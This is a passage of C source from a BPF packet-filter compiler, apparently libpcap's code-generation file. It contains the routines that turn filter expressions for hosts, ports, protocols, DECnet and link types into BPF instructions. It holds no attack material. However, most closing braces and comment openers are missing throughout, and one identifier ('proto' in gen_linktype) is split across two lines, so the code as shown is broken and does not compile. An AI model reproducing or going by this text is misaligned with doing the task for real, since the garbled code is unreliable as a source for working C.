           char *buf, int optimize, bpf_u_int32 mask)
      extern int n_errors;
      int len;
      n_errors = 0;
      root = NULL;
      bpf_pcap = p;
      if (setjmp(top_ctx)) {
            freechunks();
            return (-1);
      netmask = mask;
      snaplen = pcap_snapshot(p);
      lex_init(buf ? buf : "");
      init_linktype(pcap_datalink(p));
      (void)pcap_parse();
      if (n_errors)
            syntax();
      if (root == NULL)
            root = gen_retblk(snaplen);
      if (optimize) {
            bpf_optimize(&root);
            if (root == NULL ||
                (root->s.code == (BPF_RET|BPF_K) && root->s.k == 0))
                  bpf_error("expression rejects all packets");
      program->bf_insns = icode_to_fcode(root, &len);
      program->bf_len = len;
      freechunks();
      return (0);
 * Backpatch the blocks in 'list' to 'target'.  The 'sense' field indicates
 * which of the jt and jf fields has been resolved and which is a pointer
 * back to another unresolved block (or nil).  At least one of the fields
 * in each block is already resolved.
static void
backpatch(list, target)
      struct block *list, *target;
      struct block *next;
      while (list) {
            if (!list->sense) {
                  next = JT(list);
                  JT(list) = target;
            } else {
                  next = JF(list);
                  JF(list) = target;
            list = next;
 * Merge the lists in b0 and b1, using the 'sense' field to indicate
 * which of jt and jf is the link.
static void
merge(b0, b1)
      struct block *b0, *b1;
      register struct block **p = &b0;
      /* Find end of list. */
      while (*p)
            p = !((*p)->sense) ? &JT(*p) : &JF(*p);
      /* Concatenate the lists. */
      *p = b1;
void
finish_parse(p)
      struct block *p;
      backpatch(p, gen_retblk(snaplen));
      p->sense = !p->sense;
      backpatch(p, gen_retblk(0));
      root = p->head;
void
gen_and(b0, b1)
      struct block *b0, *b1;
      backpatch(b0, b1->head);
      b0->sense = !b0->sense;
      b1->sense = !b1->sense;
      merge(b1, b0);
      b1->sense = !b1->sense;
      b1->head = b0->head;
void
gen_or(b0, b1)
      struct block *b0, *b1;
      b0->sense = !b0->sense;
      backpatch(b0, b1->head);
      b0->sense = !b0->sense;
      merge(b1, b0);
      b1->head = b0->head;
void
gen_not(b)
      struct block *b;
      b->sense = !b->sense;
static struct block *
gen_cmp(offset, size, v)
      u_int offset, size;
      bpf_int32 v;
      struct slist *s;
      struct block *b;
      s = new_stmt(BPF_LD|BPF_ABS|size);
      s->s.k = offset;
      b = new_block(JMP(BPF_JEQ));
      b->stmts = s;
      b->s.k = v;
      return b;
static struct block *
gen_mcmp(offset, size, v, mask)
      u_int offset, size;
      bpf_int32 v;
      bpf_u_int32 mask;
      struct block *b = gen_cmp(offset, size, v);
      struct slist *s;
      if (mask != 0xffffffff) {
            s = new_stmt(BPF_ALU|BPF_AND|BPF_K);
            s->s.k = mask;
            b->stmts->next = s;
      return b;
static struct block *
gen_bcmp(offset, size, v)
      register u_int offset, size;
      register const u_char *v;
      register struct block *b, *tmp;
      b = NULL;
      while (size >= 4) {
            register const u_char *p = &v[size - 4];
            bpf_int32 w = ((bpf_int32)p[0] << 24) |
                ((bpf_int32)p[1] << 16) | ((bpf_int32)p[2] << 8) | p[3];
            tmp = gen_cmp(offset + size - 4, BPF_W, w);
            if (b != NULL)
                  gen_and(b, tmp);
            b = tmp;
            size -= 4;
      while (size >= 2) {
            register const u_char *p = &v[size - 2];
            bpf_int32 w = ((bpf_int32)p[0] << 8) | p[1];
            tmp = gen_cmp(offset + size - 2, BPF_H, w);
            if (b != NULL)
                  gen_and(b, tmp);
            b = tmp;
            size -= 2;
      if (size > 0) {
            tmp = gen_cmp(offset, BPF_B, (bpf_int32)v[0]);
            if (b != NULL)
                  gen_and(b, tmp);
            b = tmp;
      return b;
 * Various code constructs need to know the layout of the data link
 * layer.  These variables give the necessary offsets.  off_linktype
 * is set to -1 for no encapsulation, in which case, IP is assumed.
static u_int off_linktype;
static u_int off_nl;
static int linktype;
static void
init_linktype(type)
      int type;
      linktype = type;
      switch (type) {
      case DLT_EN10MB:
            off_linktype = 12;
            off_nl = 14;
            return;
      case DLT_SLIP:
            /*
             * SLIP doesn't have a link level type.  The 16 byte
             * header is hacked into our SLIP driver.
             */
            off_linktype = -1;
            off_nl = 16;
            return;
      case DLT_SLIP_BSDOS:
            /* XXX this may be the same as the DLT_PPP_BSDOS case */
            off_linktype = -1;
            /* XXX end */
            off_nl = 24;
            return;
      case DLT_NULL:
            off_linktype = 0;
            off_nl = 4;
            return;
      case DLT_PPP:
            off_linktype = 2;
            off_nl = 4;
            return;
      case DLT_PPP_BSDOS:
            off_linktype = 5;
            off_nl = 24;
            return;
      case DLT_FDDI:
            /*
             * FDDI doesn't really have a link-level type field.
             * We assume that SSAP = SNAP is being used and pick
             * out the encapsulated Ethernet type.
             */
            off_linktype = 19;
#ifdef PCAP_FDDIPAD
            off_linktype += pcap_fddipad;
#endif
            off_nl = 21;
#ifdef PCAP_FDDIPAD
            off_nl += pcap_fddipad;
#endif
            return;
      case DLT_IEEE802:
            off_linktype = 20;
            off_nl = 22;
            return;
      case DLT_ATM_RFC1483:
            /*
             * assume routed, non-ISO PDUs
             * (i.e., LLC = 0xAA-AA-03, OUT = 0x00-00-00)
             */
            off_linktype = 6;
            off_nl = 8;
            return;
      case DLT_RAW:
            off_linktype = -1;
            off_nl = 0;
            return;
      bpf_error("unknown data link type 0x%x", linktype);
      /* NOTREACHED */
static struct block *
gen_uncond(rsense)
      int rsense;
      struct block *b;
      struct slist *s;
      s = new_stmt(BPF_LD|BPF_IMM);
      s->s.k = !rsense;
      b = new_block(JMP(BPF_JEQ));
      b->stmts = s;
      return b;
static inline struct block *
gen_true()
      return gen_uncond(1);
static inline struct block *
gen_false()
      return gen_uncond(0);
static struct block *
gen_linktype(proto)
      register int proto;
      struct block *b0, *b1;
      /* If we're not using encapsulation and checking for IP, we're done */
      if (off_linktype == -1 && proto == ETHERTYPE_IP)
            return gen_true();
      switch (linktype) {
      case DLT_SLIP:
            return gen_false();
      case DLT_PPP:
            if (proto == ETHERTYPE_IP)
                  proto = PPP_IP;               /* XXX was 0x21 */
            break;
      case DLT_PPP_BSDOS:
            switch (proto) {
            case ETHERTYPE_IP:
                  b0 = gen_cmp(off_linktype, BPF_H, PPP_IP);
                  b1 = gen_cmp(off_linktype, BPF_H, PPP_VJC);
                  gen_or(b0, b1);
                  b0 = gen_cmp(off_linktype, BPF_H, PPP_VJNC);
                  gen_or(b1, b0);
                  return b0;
            case ETHERTYPE_DN:
                  proto = PPP_DECNET;
                  break;
            case ETHERTYPE_ATALK:
                  proto = PPP_APPLE;
                  break;
            case ETHERTYPE_NS:
                  proto = PPP_NS;
                  break;
            break;
      case DLT_NULL:
            /* XXX */
            if (proto == ETHERTYPE_IP)
                  return (gen_cmp(0, BPF_W, (bpf_int32)htonl(AF_INET)));
            else
                  return gen_false();
      return gen_cmp(off_linktype, BPF_H, (bpf_int32)pro
to);
static struct block *
gen_hostop(addr, mask, dir, proto, src_off, dst_off)
      bpf_u_int32 addr;
      bpf_u_int32 mask;
      int dir, proto;
      u_int src_off, dst_off;
      struct block *b0, *b1;
      u_int offset;
      switch (dir) {
      case Q_SRC:
            offset = src_off;
            break;
      case Q_DST:
            offset = dst_off;
            break;
      case Q_AND:
            b0 = gen_hostop(addr, mask, Q_SRC, proto, src_off, dst_off);
            b1 = gen_hostop(addr, mask, Q_DST, proto, src_off, dst_off);
            gen_and(b0, b1);
            return b1;
      case Q_OR:
      case Q_DEFAULT:
            b0 = gen_hostop(addr, mask, Q_SRC, proto, src_off, dst_off);
            b1 = gen_hostop(addr, mask, Q_DST, proto, src_off, dst_off);
            gen_or(b0, b1);
            return b1;
      default:
            abort();
      b0 = gen_linktype(proto);
      b1 = gen_mcmp(offset, BPF_W, (bpf_int32)addr, mask);
      gen_and(b0, b1);
      return b1;
static struct block *
gen_ehostop(eaddr, dir)
      register const u_char *eaddr;
      register int dir;
      register struct block *b0, *b1;
      switch (dir) {
      case Q_SRC:
            return gen_bcmp(6, 6, eaddr);
      case Q_DST:
            return gen_bcmp(0, 6, eaddr);
      case Q_AND:
            b0 = gen_ehostop(eaddr, Q_SRC);
            b1 = gen_ehostop(eaddr, Q_DST);
            gen_and(b0, b1);
            return b1;
      case Q_DEFAULT:
      case Q_OR:
            b0 = gen_ehostop(eaddr, Q_SRC);
            b1 = gen_ehostop(eaddr, Q_DST);
            gen_or(b0, b1);
            return b1;
      abort();
      /* NOTREACHED */
 * Like gen_ehostop, but for DLT_FDDI
static struct block *
gen_fhostop(eaddr, dir)
      register const u_char *eaddr;
      register int dir;
      struct block *b0, *b1;
      switch (dir) {
      case Q_SRC:
#ifdef PCAP_FDDIPAD
            return gen_bcmp(6 + 1 + pcap_fddipad, 6, eaddr);
#else
            return gen_bcmp(6 + 1, 6, eaddr);
#endif
      case Q_DST:
#ifdef PCAP_FDDIPAD
            return gen_bcmp(0 + 1 + pcap_fddipad, 6, eaddr);
#else
            return gen_bcmp(0 + 1, 6, eaddr);
#endif
      case Q_AND:
            b0 = gen_fhostop(eaddr, Q_SRC);
            b1 = gen_fhostop(eaddr, Q_DST);
            gen_and(b0, b1);
            return b1;
      case Q_DEFAULT:
      case Q_OR:
            b0 = gen_fhostop(eaddr, Q_SRC);
            b1 = gen_fhostop(eaddr, Q_DST);
            gen_or(b0, b1);
            return b1;
      abort();
      /* NOTREACHED */
 * This is quite tricky because there may be pad bytes in front of the
 * DECNET header, and then there are two possible data packet formats that
 * carry both src and dst addresses, plus 5 packet types in a format that
 * carries only the src node, plus 2 types that use a different format and
 * also carry just the src node.
 * Yuck.
 * Instead of doing those all right, we just look for data packets with
 * 0 or 1 bytes of padding.  If you want to look at other packets, that
 * will require a lot more hacking.
 * To add support for filtering on DECNET "areas" (network numbers)
 * one would want to add a "mask" argument to this routine.  That would
 * make the filter even more inefficient, although one could be clever
 * and not generate masking instructions if the mask is 0xFFFF.
static struct block *
gen_dnhostop(addr, dir, base_off)
      bpf_u_int32 addr;
      int dir;
      u_int base_off;
      struct block *b0, *b1, *b2, *tmp;
      u_int offset_lh;      /* offset if long header is received */
      u_int offset_sh;      /* offset if short header is received */
      switch (dir) {
      case Q_DST:
            offset_sh = 1;      /* follows flags */
            offset_lh = 7;      /* flgs,darea,dsubarea,HIORD */
            break;
      case Q_SRC:
            offset_sh = 3;      /* follows flags, dstnode */
            offset_lh = 15;      /* flgs,darea,dsubarea,did,sarea,ssub,HIORD */
            break;
      case Q_AND:
            /* Inefficient because we do our Calvinball dance twice */
            b0 = gen_dnhostop(addr, Q_SRC, base_off);
            b1 = gen_dnhostop(addr, Q_DST, base_off);
            gen_and(b0, b1);
            return b1;
      case Q_OR:
      case Q_DEFAULT:
            /* Inefficient because we do our Calvinball dance twice */
            b0 = gen_dnhostop(addr, Q_SRC, base_off);
            b1 = gen_dnhostop(addr, Q_DST, base_off);
            gen_or(b0, b1);
            return b1;
      default:
            abort();
      b0 = gen_linktype(ETHERTYPE_DN);
      /* Check for pad = 1, long header case */
      tmp = gen_mcmp(base_off + 2, BPF_H,
          (bpf_int32)ntohs(0x0681), (bpf_int32)ntohs(0x07FF));
      b1 = gen_cmp(base_off + 2 + 1 + offset_lh,
          BPF_H, (bpf_int32)ntohs(addr));
      gen_and(tmp, b1);
      /* Check for pad = 0, long header case */
      tmp = gen_mcmp(base_off + 2, BPF_B, (bpf_int32)0x06, (bpf_int32)0x7);
      b2 = gen_cmp(base_off + 2 + offset_lh, BPF_H, (bpf_int32)ntohs(addr));
      gen_and(tmp, b2);
      gen_or(b2, b1);
      /* Check for pad = 1, short header case */
      tmp = gen_mcmp(base_off + 2, BPF_H,
          (bpf_int32)ntohs(0x0281), (bpf_int32)ntohs(0x07FF));
      b2 = gen_cmp(base_off + 2 + 1 + offset_sh,
          BPF_H, (bpf_int32)ntohs(addr));
      gen_and(tmp, b2);
      gen_or(b2, b1);
      /* Check for pad = 0, short header case */
      tmp = gen_mcmp(base_off + 2, BPF_B, (bpf_int32)0x02, (bpf_int32)0x7);
      b2 = gen_cmp(base_off + 2 + offset_sh, BPF_H, (bpf_int32)ntohs(addr));
      gen_and(tmp, b2);
      gen_or(b2, b1);
      /* Combine with test for linktype */
      gen_and(b0, b1);
      return b1;
static struct block *
gen_host(addr, mask, proto, dir)
      bpf_u_int32 addr;
      bpf_u_int32 mask;
      int proto;
      int dir;
      struct block *b0, *b1;
      switch (proto) {
      case Q_DEFAULT:
            b0 = gen_host(addr, mask, Q_IP, dir);
            b1 = gen_host(addr, mask, Q_ARP, dir);
            gen_or(b0, b1);
            b0 = gen_host(addr, mask, Q_RARP, dir);
            gen_or(b1, b0);
            return b0;
      case Q_IP:
            return gen_hostop(addr, mask, dir, ETHERTYPE_IP,
                          off_nl + 12, off_nl + 16);
      case Q_RARP:
            return gen_hostop(addr, mask, dir, ETHERTYPE_REVARP,
                          off_nl + 14, off_nl + 24);
      case Q_ARP:
            return gen_hostop(addr, mask, dir, ETHERTYPE_ARP,
                          off_nl + 14, off_nl + 24);
      case Q_TCP:
            bpf_error("'tcp' modifier applied to host");
      case Q_UDP:
            bpf_error("'udp' modifier applied to host");
      case Q_ICMP:
            bpf_error("'icmp' modifier applied to host");
      case Q_IGMP:
            bpf_error("'igmp' modifier applied to host");
      case Q_IGRP:
            bpf_error("'igrp' modifier applied to host");
      case Q_ATALK:
            bpf_error("ATALK host filtering not implemented");
      case Q_DECNET:
            return gen_dnhostop(addr, dir, off_nl);
      case Q_SCA:
            bpf_error("SCA host filtering not implemented");
      case Q_LAT:
            bpf_error("LAT host filtering not implemented");
      case Q_MOPDL:
            bpf_error("MOPDL host filtering not implemented");
      case Q_MOPRC:
            bpf_error("MOPRC host filtering not implemented");
      default:
            abort();
      /* NOTREACHED */
static struct block *
gen_gateway(eaddr, alist, proto, dir)
      const u_char *eaddr;
      bpf_u_int32 **alist;
      int proto;
      int dir;
      struct block *b0, *b1, *tmp;
      if (dir != 0)
            bpf_error("direction applied to 'gateway'");
      switch (proto) {
      case Q_DEFAULT:
      case Q_IP:
      case Q_ARP:
      case Q_RARP:
            if (linktype == DLT_EN10MB)
                  b0 = gen_ehostop(eaddr, Q_OR);
            else if (linktype == DLT_FDDI)
                  b0 = gen_fhostop(eaddr, Q_OR);
            else
                  bpf_error(
                      "'gateway' supported only on ethernet or FDDI");
            b1 = gen_host(**alist++, 0xffffffff, proto, Q_OR);
            while (*alist) {
                  tmp = gen_host(**alist++, 0xffffffff, proto, Q_OR);
                  gen_or(b1, tmp);
                  b1 = tmp;
            gen_not(b1);
            gen_and(b0, b1);
            return b1;
      bpf_error("illegal modifier of 'gateway'");
      /* NOTREACHED */
struct block *
gen_proto_abbrev(proto)
      int proto;
      struct block *b0, *b1;
      switch (proto) {
      case Q_TCP:
            b0 = gen_linktype(ETHERTYPE_IP);
            b1 = gen_cmp(off_nl + 9, BPF_B, (bpf_int32)IPPROTO_TCP);
            gen_and(b0, b1);
            break;
      case Q_UDP:
            b0 =  gen_linktype(ETHERTYPE_IP);
            b1 = gen_cmp(off_nl + 9, BPF_B, (bpf_int32)IPPROTO_UDP);
            gen_and(b0, b1);
            break;
      case Q_ICMP:
            b0 =  gen_linktype(ETHERTYPE_IP);
            b1 = gen_cmp(off_nl + 9, BPF_B, (bpf_int32)IPPROTO_ICMP);
            gen_and(b0, b1);
            break;
      case Q_IGMP:
            b0 =  gen_linktype(ETHERTYPE_IP);
            b1 = gen_cmp(off_nl + 9, BPF_B, (bpf_int32)2);
            gen_and(b0, b1);
            break;
#ifndef      IPPROTO_IGRP
#define      IPPROTO_IGRP      9
#endif
      case Q_IGRP:
            b0 =  gen_linktype(ETHERTYPE_IP);
            b1 = gen_cmp(off_nl + 9, BPF_B, (long)IPPROTO_IGRP);
            gen_and(b0, b1);
            break;
      case Q_IP:
            b1 =  gen_linktype(ETHERTYPE_IP);
            break;
      case Q_ARP:
            b1 =  gen_linktype(ETHERTYPE_ARP);
            break;
      case Q_RARP:
            b1 =  gen_linktype(ETHERTYPE_REVARP);
            break;
      case Q_LINK:
            bpf_error("link layer applied in wrong context");
      case Q_ATALK:
            b1 =  gen_linktype(ETHERTYPE_ATALK);
            break;
      case Q_DECNET:
            b1 =  gen_linktype(ETHERTYPE_DN);
            break;
      case Q_SCA:
            b1 =  gen_linktype(ETHERTYPE_SCA);
            break;
      case Q_LAT:
            b1 =  gen_linktype(ETHERTYPE_LAT);
            break;
      case Q_MOPDL:
            b1 =  gen_linktype(ETHERTYPE_MOPDL);
            break;
      case Q_MOPRC:
            b1 =  gen_linktype(ETHERTYPE_MOPRC);
            break;
      default:
            abort();
      return b1;
static struct block *
gen_ipfrag()
      struct slist *s;
      struct block *b;
      /* not ip frag */
      s = new_stmt(BPF_LD|BPF_H|BPF_ABS);
      s->s.k = off_nl + 6;
      b = new_block(JMP(BPF_JSET));
      b->s.k = 0x1fff;
      b->stmts = s;
      gen_not(b);
      return b;
static struct block *
gen_portatom(off, v)
      int off;
      bpf_int32 v;
      struct slist *s;
      struct block *b;
      s = new_stmt(BPF_LDX|BPF_MSH|BPF_B);
      s->s.k = off_nl;
      s->next = new_stmt(BPF_LD|BPF_IND|BPF_H);
      s->next->s.k = off_nl + off;
      b = new_block(JMP(BPF_JEQ));
      b->stmts = s;
      b->s.k = v;
      return b;
struct block *
gen_portop(port, proto, dir)
      int port, proto, dir;
      struct block *b0, *b1, *tmp;
      /* ip proto 'proto' */
      tmp = gen_cmp(off_nl + 9, BPF_B, (bpf_int32)proto);
      b0 = gen_ipfrag();
      gen_and(tmp, b0);
      switch (dir) {
      case Q_SRC:
            b1 = gen_portatom(0, (bpf_int32)port);
            break;
      case Q_DST:
            b1 = gen_portatom(2, (bpf_int32)port);
            break;
      case Q_OR:
      case Q_DEFAULT:
            tmp = gen_portatom(0, (bpf_int32)port);
            b1 = gen_portatom(2, (bpf_int32)port);
            gen_or(tmp, b1);
            break;
      case Q_AND:
            tmp = gen_portatom(0, (bpf_int32)port);
            b1 = gen_portatom(2, (bpf_int32)port);
            gen_and(tmp, b1);
            break;
      default:
            abort();
      gen_and(b0, b1);
      return b1;
static struct block *
gen_port(port, ip_proto, dir)
      int port;
      int ip_proto;
      int dir;
      struct block *b0, *b1, *tmp;
      /* ether proto ip */
      b0 =  gen_linktype(ETHERTYPE_IP);
      switch (ip_proto) {
      case IPPROTO_UDP:
      case IPPROTO_TCP:
            b1 = gen_portop(port, ip_proto, dir);
            break;
      case PROTO_UNDEF:
            tmp = gen_portop(port, IPPROTO_TCP, dir);
            b1 = gen_portop(port, IPPROTO_UDP, dir);
            gen_or(tmp, b1);
            break;
      default:
            abort();
      gen_and(b0, b1);
      return b1;
static int
lookup_proto(name, proto)
      register const char *name;
      register int proto;
      register int v;
      switch (proto) {
      case Q_DEFAULT:
      case Q_IP:
            v = pcap_nametoproto(name);
            if (v == PROTO_UNDEF)
                  bpf_error("unknown ip proto '%s'", name);
            break;
      case Q_LINK:
            /* XXX should look up h/w protocol type based on linktype */
            v = pcap_nametoeproto(name);
            if (v == PROTO_UNDEF)
                  bpf_error("unknown ether proto '%s'", name);
            break;
      default:
            v = PROTO_UNDEF;
            break;
      return v;
static struct block *
gen_proto(v, proto, dir)
      int v;
      int proto;
      int dir;
      struct block *b0, *b1;
      if (dir != Q_DEFAULT)
            bpf_error("direction applied to 'proto'");
      switch (proto) {
      case Q_DEFAULT:
      case Q_IP:
            b0 = gen_linktype(ETHERTYPE_IP);
            b1 = gen_cmp(off_nl + 9, BPF_B, (bpf_int32)v);
            gen_and(b0, b1);
            return b1;
      case Q_ARP:
            bpf_error("arp does not encapsulate another protocol");
            /* NOTREACHED */
      case Q_RARP:
            bpf_error("rarp does not encapsulate another protocol");
            /* NOTREACHED */
      case Q_ATALK:
            bpf_error("atalk encapsulation is not specifiable");
            /* NOTREACHED */
      case Q_DECNET:
            bpf_error("decnet encapsulation is not specifiable");
            /* NOTREACHED */
      case Q_SCA:
            bpf_error("sca does not encapsulate another protocol");
            /* NOTREACHED */
      case Q_LAT:
            bpf_error("lat does not encapsulate another protocol");
            /* NOTREACHED */
      case Q_MOPRC:
            bpf_error("moprc does not encapsulate another protocol");
            /* NOTREACHED */
      case Q_MOPDL:
            bpf_error("mopdl does not encapsulate another protocol");
            /* NOTREACHED */
      case Q_LINK:
            return gen_linktype(v);
      case Q_UDP:
            bpf_error("'udp proto' is bogus");
            /* NOTREACHED */
      case Q_TCP:
            bpf_error("'tcp proto' is bogus");
            /* NOTREACHED */
      case Q_ICMP:
            bpf_error("'icmp proto' is bogus");
            /* NOTREACHED */
      case Q_IGMP:
            bpf_error("'igmp proto' is bogus");
            /* NOTREACHED */
      case Q_IGRP:
            bpf_error("'igrp proto' is bogus");
            /* NOTREACHED */
      default:
            abort();
            /* NOTREACHED */
      /* NOTREACHED */
struct block *
gen_scode(name, q)
      register const char *name;
      struct qual q;
      int proto = q.proto;
      int dir = q.dir;
      int tproto;
      u_char *eaddr;
      bpf_u_int32 mask, addr, **alist;
      struct block *b, *tmp;
      int port, real_proto;
      switch (q.addr) {
      case Q_NET:
            addr = pcap_nametonetaddr(name);
            if (addr == 0)
                  bpf_error("unknown network '%s'", name);
            /* Left justify network addr and calculate its network mask */
            mask = 0xffffffff;
            while (addr && (addr & 0xff000000) == 0) {
                  addr <<= 8;
                  mask <<= 8;
            return gen_host(addr, mask, proto, dir);
      case Q_DEFAULT:
      case Q_HOST:
            if (proto == Q_LINK) {
                  switch (linktype) {
                  case DLT_EN10MB:
                        eaddr = pcap_ether_hostton(name);
                        if (eaddr == NULL)
                              bpf_error(
                                  "unknown ether host '%s'", name);
                        return gen_ehostop(eaddr, dir);
                  case DLT_FDDI:
                        eaddr = pcap_ether_hostton(name);
                        if (eaddr == NULL)
                              bpf_error(
                                  "unknown FDDI host '%s'", name);
                        return gen_fhostop(eaddr, dir);
                  default:
                        bpf_error(
                  "only ethernet/FDDI supports link-level host name");
                        break;
                  }
            } else if (proto == Q_DECNET) {
                  unsigned short dn_addr = __pcap_nametodnaddr(name);
                  /*
                   * I don't think DECNET hosts can be multihomed, so
                   * there is no need to build up a list of addresses
                   */
                  return (gen_host(dn_addr, 0, proto, dir));
            } else {
                  alist = pcap_nametoaddr(name);
                  if (alist == NULL || *alist == NULL)
                        bpf_error("unknown host '%s'", name);
                  tproto = proto;
                  if (off_linktype == -1 && tproto == Q_DEFAULT)
                        tproto = Q_IP;
                  b = gen_host(**alist++, 0xffffffff, tproto, dir);
                  while (*alist) {
                        tmp = gen_host(**alist++, 0xffffffff,
                                     tproto, dir);
                        gen_or(b, tmp);
                        b = tmp;
                  }
                  return b;
      case Q_PORT:
            if (proto != Q_DEFAULT && proto != Q_UDP && proto != Q_TCP)
                  bpf_error("illegal qualifier of 'port'");
            if (pcap_nametoport(name, &port, &real_proto) == 0)
                  bpf_error("unknown port '%s'", name);
            if (proto == Q_UDP) {
                  if (real_proto == IPPROTO_TCP)
                        bpf_error("port '%s' is tcp", name);
                  else
                        /* override PROTO_UNDEF */
                        real_proto = IPPROTO_UDP;
            if (proto == Q_TCP) {
                  if (real_proto == IPPROTO_UDP)
                        bpf_error("port '%s' is udp", name);
                  else
                        /* override PROTO_UNDEF */
                        real_proto = IPPROTO_TCP;
            return gen_port(port, real_proto, dir);
      case Q_GATEWAY:
            eaddr = pcap_ether_hostton(name);
            if (eaddr == NULL)
                  bpf_error("unknown ether host: %s", name);
            alist = pcap_nametoaddr(name);
            if (alist == NULL || *alist == NULL)
                  bpf_error("unknown host '%s'", name);
            return gen_gateway(eaddr, alist, proto, dir);
      case Q_PROTO:
            real_proto = lookup_proto(name, proto);
            if (real_proto >= 0)
                  return gen_proto(real_proto, proto, dir);
            else
                  bpf_error("unknown protocol: %s", name);
      case Q_UNDEF:
            syntax();
            /* NOTREACHED */
      abort();
      /* NOTREACHED */
struct block *
gen_mcode(s1, s2, masklen, q)
      register const char *s1, *s2;
      register int masklen;
      struct qual q;
      register int nlen, mlen;
      bpf_u_int32 n, m;
      nlen = __pcap_atoin(s1, &n);
      /* Promote short ipaddr */
      n <<= 32 - nlen;
      if (s2 != NULL) {
            mlen = __pcap_atoin(s2, &m);
            /* Promote short ipaddr */
            m <<= 32 - mlen;
            if ((n & ~m) != 0)
                  bpf_error("non-network bits set in \"%s mask %s\"",
                      s1, s2);
      } else {
            /* Convert mask len to mask */
            if (masklen > 32)
                  bpf_error("mask length must be <= 32");
            m = 0xffffffff << (32 - masklen);
            if ((n & ~m) != 0)
                  bpf_error("non-network bits set in \"%s/%d\"",
                      s1, masklen);
      switch (q.addr) {
      case Q_NET:
            return gen_host(n, m, q.proto, q.dir);
      default:
            bpf_error("Mask syntax for networks only");
            /* NOTREACHED */
struct block *
gen_ncode(s, v, q)
      register const char *s;
      bpf_u_int32 v;
      struct qual q;
      bpf_u_int32 mask;
      int proto = q.proto;
      int dir = q.dir;
      register int vlen;
      if (s == NULL)
            vlen = 32;
      else if (q.proto == Q_DECNET)
            vlen = __pcap_atodn(s, &v);
      else
            vlen = __pcap_atoin(s, &v);
      switch (q.addr) {
      case Q_DEFAULT:
      case Q_HOST:
      case Q_NET:
            if (proto == Q_DECNET)
                  return gen_host(v, 0, proto, dir);
            else if (proto == Q_LINK) {
                  bpf_error("illegal link layer address");
            } else {
                  mask = 0xffffffff;
                  if (s == NULL && q.addr == Q_NET) {
                        /* Promote short net number */
                        while (v && (v & 0xff000000) == 0) {
                              v <<= 8;
                              mask <<= 8;
                        }
                  } else {
                        /* Promote short ipaddr */
                        v <<= 32 - vlen;
                        mask <<= 32 - vlen;
                  }
                  return gen_host(v, mask, proto, dir);
      case Q_PORT:
            if (proto == Q_UDP)
                  proto = IPPROTO_UDP;
            else if (proto == Q_TCP)
                  proto = IPPROTO_TCP;
            else if (proto == Q_DEFAULT)
                  proto = PROTO_UNDEF;
            else
                  bpf_error("illegal qualifier of 'port'");
            return gen_port((int)v, proto, dir);
      case Q_GATEWAY:
            bpf_error("'gateway' requires a name");
            /* NOTREACHED */
      case Q_PROTO:
            return gen_proto((int)v, proto, dir);
      case Q_UNDEF:
            syntax();
            /* NOTREACHED */
      default:
            abort();
            /* NOTREACHED */
      /* NOTREACHED */
struct block *
gen_ecode(eaddr, q)
      register const u_char *eaddr;
      struct qual q;
      if ((q.addr == Q_HOST || q.addr == Q_DEFAULT) && q.proto == Q_LINK) {
            if (linktype == DLT_EN10MB)
                  return gen_ehostop(eaddr, (int)q.dir);
            if (linktype == DLT_FDDI)
                  return gen_fhostop(eaddr, (int)q.dir);
      bpf_error("ethernet address used in non-ether expression");
      /* NOTREACHED */
void
sappend(s0, s1)
      struct slist *s0, *s1;
       * This is definitely not the best way to do this, but the
       * lists will rarely get long.
       */
      while (s0->next)
            s0 = s0->next;
      s0->next = s1;
static struct slist *
xfer_to_x(a)
      struct arth *a;
      struct slist *s;
      s = new_stmt(BPF_LDX|BPF_MEM);
      s->s.k = a->regno;
      return s;
static struct slist *
xfer_to_a(a)
      struct arth *a;
      struct slist *s;
      s = new_stmt(BPF_LD|BPF_MEM);
      s->s.k = a->regno;
      return s;
struct arth *
gen_load(proto, index, size)
      int proto;
      struct arth *index;
      int size;
      struct slist *s, *tmp;
      struct block *b;
      int regno = alloc_reg();
      free_reg(index->regno);
      switch (size) {
      default:
            bpf_error("data size must be 1, 2, or 4");
      case 1:
            size = BPF_B;
            break;
      case 2:
            size = BPF_H;
            break;
      case 4:
            size = BPF_W;
            break;
      switch (proto) {
      default:
            bpf_error("unsupported index operation");
      case Q_LINK:
            s = xfer_to_x(index);
            tmp = new_stmt(BPF_LD|BPF_IND|size);
            sappend(s, tmp);
            sappend(index->s, s);
            break;
      case Q_IP:
      case Q_ARP:
      case Q_RARP:
      case Q_ATALK:
      case Q_DECNET:
      case Q_SCA:
      case Q_LAT:
      case Q_MOPRC:
      case Q_MOPDL:
            /* XXX Note that we assume a fixed link link header here. */
            s = xfer_to_x(index);
            tmp = new_stmt(BPF_LD|BPF_IND|size);
            tmp->s.k = off_nl;
            sappend(s, tmp);
            sappend(index->s, s);
            b = gen_proto_abbrev(proto);
            if (index->b)
                  gen_and(index->b, b);
            index->b = b;
            break;
      case Q_TCP:
      case Q_UDP:
      case Q_ICMP:
      case Q_IGMP:
      case Q_IGRP:
            s = new_stmt(BPF_LDX|BPF_MSH|BPF_B);
            s->s.k = off_nl;
            sappend(s, xfer_to_a(index));
            sappend(s, new_stmt(BPF_ALU|BPF_ADD|BPF_X));
            sappend(s, new_stmt(BPF_MISC|BPF_TAX));
            sappend(s, tmp = new_stmt(BPF_LD|BPF_IND|size));
            tmp->s.k = off_nl;
            sappend(index->s, s);
            gen_and(gen_proto_abbrev(proto), b = gen_ipfrag());
            if (index->b)
                  gen_and(index->b, b);
            index->b = b;
            break;
      index->regno = regno;
      s = new_stmt(BPF_ST);
      s->s.k = regno;
      sappend(index->s, s);
      return index;
struct block *
gen_relation(code, a0, a1, reversed)
      int code;
      struct arth *a0, *a1;
      int reversed;
      struct slist *s0, *s1, *s2;
      struct block *b, *tmp;
      s0 = xfer_to_x(a1);
      s1 = xfer_to_a(a0);
      s2 = new_stmt(BPF_ALU|BPF_SUB|BPF_X);
      b = new_block(JMP(code));
      if (code == BPF_JGT || code == BPF_JGE) {
            reversed = !reversed;
            b->s.k = 0x80000000;
      if (reversed)
            gen_not(b);
      sappend(s1, s2);
      sappend(s0, s1);
      sappend(a1->s, s0);
      sappend(a0->s, a1->s);
      b->stmts = a0->s;
      free_reg(a0->regno);
      free_reg(a1->regno);
      /* 'and' together protocol checks */
      if (a0->b) {
            if (a1->b) {
                  gen_and(a0->b, tmp = a1->b);
            else
                  tmp = a0->b;
      } else
            tmp = a1->b;
      if (tmp)
            gen_and(tmp, b);
      return b;
struct arth *
gen_loadlen()
      int regno = alloc_reg();
      struct arth *a = (struct arth *)newchunk(sizeof(*a));
      struct slist *s;
      s = new_stmt(BPF_LD|BPF_LEN);
